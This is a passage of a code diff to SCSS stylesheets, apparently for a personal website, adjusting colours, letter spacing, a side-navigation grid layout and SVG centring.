--string: var(--comment);
}
@ -15,7 +15,7 @@
--blue: #9999FF;
--module: hsl(276, 66%, 69%);
--inductive-constructor: #32bb32;
--comment: hsl(0, 0%, 47%);
--comment: hsl(0, 78%, 66%);
}
}

View file

@ -13,7 +13,7 @@ body {
color: var(--text-color);
// Dotted background :)
background-image: radial-gradient(var(--background-dots-color) 1px, transparent 0);
background-image: radial-gradient(var(--faded-background-color) 1px, transparent 0);
background-size: 20px 20px;
background-position: -19px -19px;
@ -89,13 +89,13 @@ ul li {
// Letter spacing
body {
letter-spacing: -0.015rem;
letter-spacing: -0.025rem;
}
code,
pre>code {
font-size: 0.95rem;
letter-spacing: -0.025rem;
letter-spacing: -0.035rem;
}
// Layout
@ -145,4 +145,4 @@ pre>code {
padding-left: 30px;
padding-right: 30px;
}
}
}

View file

@ -24,16 +24,16 @@
text-align: center;
font-size: 0.9rem;
display: flex;
flex-direction: column;
/* gap: 6px; */
display: grid;
grid-template-columns: repeat(3, 1fr);
row-gap: 6px;
a {
text-decoration: none;
color: var(--link-color);
/* text-transform: lowercase; */
/* border-radius: 4px; */
padding: 8px;
text-transform: lowercase;
border-radius: 4px;
padding: 4px;
&:hover {
background-color: var(--link-hover-color);
@ -72,21 +72,15 @@
}
}
// Small screen
@media screen and (max-width: variables.$breakpoint) {
.side-nav {
background: linear-gradient(to top, var(--sidebar-color) 50%, transparent);
.side-nav-content {
width: 100%;
padding: 18px;
box-sizing: border-box;
padding: 18px 0;
border-bottom: 1px solid var(--shadow-color);
.me {
flex-grow: 1;
}
.home-link {
display: flex;
justify-content: space-evenly;
@ -114,7 +108,6 @@
}
}
// Big screen
@media screen and (min-width: variables.$breakpoint) {
.side-nav {
// Capital Min to avoid invoking SCSS min
@ -144,6 +137,10 @@
h1.title {
text-align: center;
}
.links {
// margin-bottom: 20px;
}
}
}
}

View file

@ -108,6 +108,17 @@
border: 1px solid var(--hr-color);
}
.svg {
display: flex;
flex-direction: column;
align-items: center;
svg {
width: auto;
height: auto;
}
}
details {
border: 1px solid var(--hr-color);
border-radius: 8px;
@ -295,4 +306,4 @@ hr.endline {
margin: 0;
}
}
}
}